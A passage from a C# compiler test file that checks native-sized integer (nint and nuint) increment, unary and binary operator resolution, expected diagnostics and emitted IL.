var model = comp.GetSemanticModel(tree);
var kind = (op == "++") ?
isPrefix ? SyntaxKind.PreIncrementExpression : SyntaxKind.PostIncrementExpression :
isPrefix ? SyntaxKind.PreDecrementExpression : SyntaxKind.PostDecrementExpression;
var expr = tree.GetRoot().DescendantNodes().Single(n => n.Kind() == kind);
var symbolInfo = model.GetSymbolInfo(expr);
Assert.Equal(expectedSymbol, symbolInfo.Symbol?.ToDisplayString(SymbolDisplayFormat.TestFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)));
if (expectedDiagnostics.Length == 0)
{
var verifier = CompileAndVerify(comp, expectedOutput: expectedResult);
verifier.VerifyIL("Program.Evaluate", expectedIL);
}
}
}
[Fact]
public void IncrementOperators_RefOperand()
{
void incrementOps(string op, string opType, string expectedSymbol = null, string values = null, string expectedResult = null, string expectedIL = "", string expectedLiftedIL = "", DiagnosticDescription diagnostic = null)
{
incrementOperator(op, opType, expectedSymbol, values, expectedResult, expectedIL, getDiagnostics(opType, diagnostic));
opType += "?";
incrementOperator(op, opType, expectedSymbol, values, expectedResult, expectedLiftedIL, getDiagnostics(opType, diagnostic));
DiagnosticDescription[] getDiagnostics(string opType, DiagnosticDescription diagnostic)
{
if (expectedSymbol == null && diagnostic == null)
{
diagnostic = Diagnostic(ErrorCode.ERR_BadUnaryOp, op + "operand").WithArguments(op, opType);
}
return diagnostic != null ? new[] { diagnostic } : Array.Empty<DiagnosticDescription>();
}
}
incrementOps("++", "nint", "nint nint.op_Increment(nint value)",
values: $"{int.MinValue}, -1, 0, {int.MaxValue - 1}, {int.MaxValue}",
expectedResult: $"-2147483647, 0, 1, 2147483647, {(IntPtr.Size == 4 ? "-2147483648" : "2147483648")}",
@"{
// Code size 7 (0x7)
.maxstack 3
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldind.i
IL_0003: ldc.i4.1
IL_0004: add
IL_0005: stind.i
IL_0006: ret
}",
@"{
// Code size 48 (0x30)
.maxstack 3
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldobj ""nint?""
IL_0007: stloc.0
IL_0008: ldloca.s V_0
IL_000a: call ""bool nint?.HasValue.get""
IL_000f: brtrue.s IL_001c
IL_0011: ldloca.s V_1
IL_0013: initobj ""nint?""
IL_0019: ldloc.1
IL_001a: br.s IL_002a
IL_001c: ldloca.s V_0
IL_001e: call ""nint nint?.GetValueOrDefault()""
IL_0023: ldc.i4.1
IL_0024: add
IL_0025: newobj ""nint?..ctor(nint)""
IL_002a: stobj ""nint?""
IL_002f: ret
}");
incrementOps("++", "nuint", "nuint nuint.op_Increment(nuint value)",
values: $"0, {int.MaxValue}, {uint.MaxValue - 1}, {uint.MaxValue}",
expectedResult: $"1, 2147483648, 4294967295, {(IntPtr.Size == 4 ? "0" : "4294967296")}",
@"{
// Code size 7 (0x7)
.maxstack 3
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldind.i
IL_0003: ldc.i4.1
IL_0004: add
IL_0005: stind.i
IL_0006: ret
}",
@"{
// Code size 48 (0x30)
.maxstack 3
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldobj ""nuint?""
IL_0007: stloc.0
IL_0008: ldloca.s V_0
IL_000a: call ""bool nuint?.HasValue.get""
IL_000f: brtrue.s IL_001c
IL_0011: ldloca.s V_1
IL_0013: initobj ""nuint?""
IL_0019: ldloc.1
IL_001a: br.s IL_002a
IL_001c: ldloca.s V_0
IL_001e: call ""nuint nuint?.GetValueOrDefault()""
IL_0023: ldc.i4.1
IL_0024: add
IL_0025: newobj ""nuint?..ctor(nuint)""
IL_002a: stobj ""nuint?""
IL_002f: ret
}");
incrementOps("--", "nint", "nint nint.op_Decrement(nint value)",
values: $"{int.MinValue}, {int.MinValue + 1}, 0, 1, {int.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? "2147483647" : "-2147483649")}, -2147483648, -1, 0, 2147483646",
@"{
// Code size 7 (0x7)
.maxstack 3
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldind.i
IL_0003: ldc.i4.1
IL_0004: sub
IL_0005: stind.i
IL_0006: ret
}",
@"{
// Code size 48 (0x30)
.maxstack 3
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldobj ""nint?""
IL_0007: stloc.0
IL_0008: ldloca.s V_0
IL_000a: call ""bool nint?.HasValue.get""
IL_000f: brtrue.s IL_001c
IL_0011: ldloca.s V_1
IL_0013: initobj ""nint?""
IL_0019: ldloc.1
IL_001a: br.s IL_002a
IL_001c: ldloca.s V_0
IL_001e: call ""nint nint?.GetValueOrDefault()""
IL_0023: ldc.i4.1
IL_0024: sub
IL_0025: newobj ""nint?..ctor(nint)""
IL_002a: stobj ""nint?""
IL_002f: ret
}");
incrementOps("--", "nuint", "nuint nuint.op_Decrement(nuint value)",
values: $"0, 1, {uint.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? uint.MaxValue.ToString() : ulong.MaxValue.ToString())}, 0, 4294967294",
@"{
// Code size 7 (0x7)
.maxstack 3
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldind.i
IL_0003: ldc.i4.1
IL_0004: sub
IL_0005: stind.i
IL_0006: ret
}",
@"{
// Code size 48 (0x30)
.maxstack 3
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: ldarg.0
IL_0002: ldobj ""nuint?""
IL_0007: stloc.0
IL_0008: ldloca.s V_0
IL_000a: call ""bool nuint?.HasValue.get""
IL_000f: brtrue.s IL_001c
IL_0011: ldloca.s V_1
IL_0013: initobj ""nuint?""
IL_0019: ldloc.1
IL_001a: br.s IL_002a
IL_001c: ldloca.s V_0
IL_001e: call ""nuint nuint?.GetValueOrDefault()""
IL_0023: ldc.i4.1
IL_0024: sub
IL_0025: newobj ""nuint?..ctor(nuint)""
IL_002a: stobj ""nuint?""
IL_002f: ret
}");
void incrementOperator(string op, string opType, string expectedSymbol, string values, string expectedResult, string expectedIL, DiagnosticDescription[] expectedDiagnostics)
{
string source =
$@"using System;
class Program
{{
static void Evaluate(ref {opType} operand)
{{
{op}operand;
}}
static void EvaluateAndReport({opType} operand)
{{
object result;
try
{{
Evaluate(ref operand);
result = operand;
}}
catch (Exception e)
{{
result = e.GetType();
}}
Console.Write(result);
}}
static void Main()
{{
bool separator = false;
foreach (var value in new {opType}[] {{ {values} }})
{{
if (separator) Console.Write("", "");
separator = true;
EvaluateAndReport(value);
}}
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var kind = (op == "++") ? SyntaxKind.PreIncrementExpression : SyntaxKind.PreDecrementExpression;
var expr = tree.GetRoot().DescendantNodes().Single(n => n.Kind() == kind);
var symbolInfo = model.GetSymbolInfo(expr);
Assert.Equal(expectedSymbol, symbolInfo.Symbol?.ToDisplayString(SymbolDisplayFormat.TestFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)));
if (expectedDiagnostics.Length == 0)
{
var verifier = CompileAndVerify(comp, expectedOutput: expectedResult);
verifier.VerifyIL("Program.Evaluate", expectedIL);
}
}
}
[Fact]
public void UnaryOperators_UserDefined()
{
string sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Enum { }
public class Attribute { }
public class AttributeUsageAttribute : Attribute
{
public AttributeUsageAttribute(AttributeTargets validOn) { }
public bool AllowMultiple { get; set; }
public bool Inherited { get; set; }
}
public enum AttributeTargets { }
public struct IntPtr
{
public static IntPtr operator-(IntPtr i) => i;
}
}";
string sourceB =
@"class Program
{
static System.IntPtr F1(System.IntPtr i) => -i;
static nint F2(nint i) => -i;
}";
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp, emitOptions: EmitOptions.Default.WithRuntimeMetadataVersion("0.0.0.0"), verify: Verification.Skipped);
verifier.VerifyIL("Program.F1",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.IntPtr System.IntPtr.op_UnaryNegation(System.IntPtr)""
IL_0006: ret
}");
verifier.VerifyIL("Program.F2",
@"{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: neg
IL_0002: ret
}");
}
[Theory]
[InlineData("nint")]
[InlineData("nuint")]
[InlineData("nint?")]
[InlineData("nuint?")]
public void UnaryAndBinaryOperators_UserDefinedConversions(string type)
{
string sourceA =
$@"class MyInt
{{
public static implicit operator {type}(MyInt i) => throw null;
public static implicit operator MyInt({type} i) => throw null;
}}";
string sourceB =
@"class Program
{
static void F(MyInt x, MyInt y)
{
++x;
x++;
--x;
x--;
_ = +x;
_ = -x;
_ = ~x;
_ = x + y;
_ = x * y;
_ = x < y;
_ = x & y;
_ = x << 1;
}
}";
var comp = CreateCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,9): error CS0023: Operator '++' cannot be applied to operand of type 'MyInt'
// ++x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "++x").WithArguments("++", "MyInt").WithLocation(5, 9),
// (6,9): error CS0023: Operator '++' cannot be applied to operand of type 'MyInt'
// x++;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "x++").WithArguments("++", "MyInt").WithLocation(6, 9),
// (7,9): error CS0023: Operator '--' cannot be applied to operand of type 'MyInt'
// --x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "--x").WithArguments("--", "MyInt").WithLocation(7, 9),
// (8,9): error CS0023: Operator '--' cannot be applied to operand of type 'MyInt'
// x--;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "x--").WithArguments("--", "MyInt").WithLocation(8, 9),
// (9,13): error CS0023: Operator '+' cannot be applied to operand of type 'MyInt'
// _ = +x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "+x").WithArguments("+", "MyInt").WithLocation(9, 13),
// (10,13): error CS0023: Operator '-' cannot be applied to operand of type 'MyInt'
// _ = -x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "-x").WithArguments("-", "MyInt").WithLocation(10, 13),
// (11,13): error CS0023: Operator '~' cannot be applied to operand of type 'MyInt'
// _ = ~x;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "~x").WithArguments("~", "MyInt").WithLocation(11, 13),
// (12,13): error CS0019: Operator '+' cannot be applied to operands of type 'MyInt' and 'MyInt'
// _ = x + y;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x + y").WithArguments("+", "MyInt", "MyInt").WithLocation(12, 13),
// (13,13): error CS0019: Operator '*' cannot be applied to operands of type 'MyInt' and 'MyInt'
// _ = x * y;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x * y").WithArguments("*", "MyInt", "MyInt").WithLocation(13, 13),
// (14,13): error CS0019: Operator '<' cannot be applied to operands of type 'MyInt' and 'MyInt'
// _ = x < y;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x < y").WithArguments("<", "MyInt", "MyInt").WithLocation(14, 13),
// (15,13): error CS0019: Operator '&' cannot be applied to operands of type 'MyInt' and 'MyInt'
// _ = x & y;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x & y").WithArguments("&", "MyInt", "MyInt").WithLocation(15, 13),
// (16,13): error CS0019: Operator '<<' cannot be applied to operands of type 'MyInt' and 'int'
// _ = x << 1;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "x << 1").WithArguments("<<", "MyInt", "int").WithLocation(16, 13));
}
[Fact]
public void BinaryOperators()
{
void binaryOps(string op, string leftType, string rightType, string expectedSymbol1 = null, string expectedSymbol2 = "", DiagnosticDescription[] diagnostics1 = null, DiagnosticDescription[] diagnostics2 = null)
{
binaryOp(op, leftType, rightType, expectedSymbol1, diagnostics1);
binaryOp(op, rightType, leftType, expectedSymbol2 == "" ? expectedSymbol1 : expectedSymbol2, diagnostics2 ?? diagnostics1);
}
void binaryOp(string op, string leftType, string rightType, string expectedSymbol, DiagnosticDescription[] diagnostics)
{
if (expectedSymbol == null && diagnostics == null)
{
diagnostics = getBadBinaryOpsDiagnostics(op, leftType, rightType);
}
binaryOperator(op, leftType, rightType, expectedSymbol, diagnostics ?? Array.Empty<DiagnosticDescription>());
}
static DiagnosticDescription[] getBadBinaryOpsDiagnostics(string op, string leftType, string rightType, bool includeBadBinaryOps = true, bool includeVoidError = false)
{
var builder = ArrayBuilder<DiagnosticDescription>.GetInstance();
if (includeBadBinaryOps) builder.Add(Diagnostic(ErrorCode.ERR_BadBinaryOps, $"x {op} y").WithArguments(op, leftType, rightType));
if (includeVoidError) builder.Add(Diagnostic(ErrorCode.ERR_VoidError, $"x {op} y"));
return builder.ToArrayAndFree();
}
static DiagnosticDescription[] getAmbiguousBinaryOpsDiagnostics(string op, string leftType, string rightType)
{
return new[] { Diagnostic(ErrorCode.ERR_AmbigBinaryOps, $"x {op} y").WithArguments(op, leftType, rightType) };
}
var arithmeticOperators = new[]
{
("-", "op_Subtraction"),
("*", "op_Multiply"),
("/", "op_Division"),
("%", "op_Modulus"),
};
var additionOperators = new[]
{
("+", "op_Addition"),
};
var comparisonOperators = new[]
{
("<", "op_LessThan"),
("<=", "op_LessThanOrEqual"),
(">", "op_GreaterThan"),
(">=", "op_GreaterThanOrEqual"),
};
var shiftOperators = new[]
{
("<<", "op_LeftShift"),
(">>", "op_RightShift"),
};
var equalityOperators = new[]
{
("==", "op_Equality"),
("!=", "op_Inequality"),
};
var logicalOperators = new[]
{
("&", "op_BitwiseAnd"),
("|", "op_BitwiseOr"),
("^", "op_ExclusiveOr"),
};
foreach ((string symbol, string name) in arithmeticOperators)
{
bool includeBadBinaryOps = (symbol != "-");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, (symbol == "-") ? $"void* void*.{name}(void* left, long right)" : null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint", includeBadBinaryOps: includeBadBinaryOps, includeVoidError: true));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"));
binaryOps(symbol, "nint", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint"));
binaryOps(symbol, "nint", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"));
binaryOps(symbol, "nint", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint"));
binaryOps(symbol, "nint", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?", includeVoidError: true));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"));
binaryOps(symbol, "nint?", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint?"));
binaryOps(symbol, "nint?", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"));
binaryOps(symbol, "nint?", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint?"));
binaryOps(symbol, "nint?", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, (symbol == "-") ? $"void* void*.{name}(void* left, ulong right)" : null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint", includeBadBinaryOps: includeBadBinaryOps, includeVoidError: true));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint"));
binaryOps(symbol, "nuint", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"));
binaryOps(symbol, "nuint", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint"));
binaryOps(symbol, "nuint", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint"));
binaryOps(symbol, "nuint", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"));
binaryOps(symbol, "nuint", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint"));
binaryOps(symbol, "nuint", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?", includeVoidError: true));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint?"));
binaryOps(symbol, "nuint?", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"));
binaryOps(symbol, "nuint?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint?"));
binaryOps(symbol, "nuint?", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint?"));
binaryOps(symbol, "nuint?", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"));
binaryOps(symbol, "nuint?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint?"));
binaryOps(symbol, "nuint?", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr", includeVoidError: true));
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "sbyte", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "byte", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "short", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "ushort", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "int", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
